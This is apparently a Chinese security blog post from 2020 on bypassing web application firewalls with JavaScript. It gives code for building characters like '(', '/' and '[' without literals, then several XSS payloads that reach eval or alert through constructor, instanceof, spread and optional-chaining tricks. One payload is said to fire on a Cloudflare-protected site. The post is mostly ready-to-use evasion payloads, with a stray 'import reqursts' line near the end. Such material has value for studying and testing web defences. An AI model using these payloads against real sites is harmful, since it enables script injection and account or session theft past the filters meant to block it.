JS--WAF--Bypass

①生成字符的方法:

1. 生成/code/字符串

1
2
3
4
5
6
var bs= 'ao0PTA7YWxlcnQoMTMzNykvLwa';
empty=RegExp.prototype.flags;
xx={};
xx.source=bs;
xx.flags=empty;
xx.toString=RegExp.prototype.toString;

2.生成:(?)

1
2
3
4
5
6
7
8
9
yy={...RegExp.prototype.source}
yy.toString=Array.prototype.shift
yy.length=4
left=yy+empty //生成(
left=yy+1
que = yy+empty //生成?
que = yy+2
colon=yy+empty //生成:
right=yy+empty //生成)

3.生成/

1
2
3
4
x=console;
x.toString = RegExp.prototype.toString;
x.valueOf = String.prototype.charAt;
x + "" // /

4.生成[

1
2
3
x=console
x.valueOf=String.prototype.charAt
x + "" // [

5.字符串大小写转换

1
2
3
x = ["a"]
x.valueOf = String.prototype.toUpperCase
x + "" // A

②Bypass Waf

常见的一些方式这里就不说了,直接到这里淘便是,这里仅说一下最近看到的。

1.使用展开符和正则绕过单引号

首先将对象展开,然后将对象转为数组,最后用shift方法从数组中获取字符

1
2
3
4
x={...eval+0,toString:Array.prototype.shift,length:15},
x+x+x+x+x+x+x+x+x+x+x+x+x,
x=/alert/.source+x+1337+x;
location=/javascript:/.source+x;

2.使用instanceof

1
2
window[Symbol.hasInstance]=eval
atob`YWxlcnQoMSk` instanceof window

3.使用constructor

1
2
3
atob.constructor(atob`YWxlcnQoMSk`)``
或者
atob.constructor(atob(/YWxlcnQoMSk/.source))()

4.使用新特性

1
void''??globalThis?.alert?.(...[0b1_0_1_0_0_1_1_1_0_0_1,],)

受到cloudflare保护的站存在XSS,构造了一个payload可执行弹窗,但是无法顺利执行任意JS:

1
"><body/onload="throw%20onerror=alert,1,2,3,11;"><a+href="
1
2
<input//onmouseover= "window['al'+'ert'](1)">
import reqursts

本文标题:JS--WAF--Bypass

文章作者:

发布时间:2020年07月27日 - 10:33:28

最后更新:2020年07月27日 - 14:24:04

原始链接:http://laker.xyz/2020/07/27/%E5%89%8D%E7%AB%AF-WAF-Bypass/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。